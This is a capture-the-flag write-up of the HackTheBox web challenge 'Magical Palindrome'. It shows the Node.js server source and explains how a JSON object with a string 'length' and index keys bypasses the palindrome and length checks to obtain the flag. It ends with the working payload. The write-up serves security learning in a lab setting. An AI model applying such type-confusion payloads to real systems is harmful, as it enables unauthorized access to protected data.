
Hi! In this write-up, we will solve the HackTheBox Web Challenge Magical Palindrome. So, sit back and read!
As the source code is given, we will look at some files, and we found the interesting logic in the index.mjs file:

After reading this file, we found that we need to send a palindrome value with a length ≥ 1000, so let’s do this directly.

But it is not accepting, that’s because in the config/nginx.conf file, the reverse proxy is only allowing a Max body size of 75 Bytes, but the payload we are trying to send is more than 1000 Bytes

We are now at an interesting point, where we need to bypass these checks, so we have to dig deeper into the source code:
import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';
const flag = readFileSync('/flag.txt', 'utf8').trim();
const IsPalinDrome = (string) => {
if (string.length < 1000) {
return 'Tootus Shortus';
}
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') {
return 'Notter Palindromer!!';
}
}
return null;
}
const app = new Hono();
app.get('/', serveStatic({root: '.'}));
app.post('/', async (c) => {
const {palindrome} = await c.req.json();
const error = IsPalinDrome(palindrome);
if (error) {
c.status(400);
return c.text(error);
}
return c.text(`Hii Harry!!! ${flag}`);
});
app.port = 3000;
After analyzing, I realized that there is no type check for the palindrome, we can send the payload in any JSON format, so let’s try to do:
{
"palindrome":{
"length":"1000"
}
}
This actually bypassed the first check, which was that we needed a length of 1000 characters

Length Check
if (string.length < 1000)
We sent it as a String because JavaScript coerces the string "1000" to a number when comparing:
"1000" < 1000→1000 < 1000→false
The check passes!
Array
Before moving forward, we need to look at how the Array() function works in JavaScript.
If you pass a number to it, it treats it as a length and makes an array (empty) with this length:

And if you passed a string, it makes an array with length 1 and saves that string at index 0


So if our object has a length value as a string, the server will create an array with length 1, and the loop will iterate only 1 time with i = 0 because array keys will return only[0] index
Now we should also add both 0 and Length-1 Having the same string value for our object, like this:
Final Exploit code:
{
"palindrome":{
"length":"1000",
"0":"a",
"999":"a"
}
}

If you enjoyed, comment 😉

This was very informative and easy to follow. Keep it up!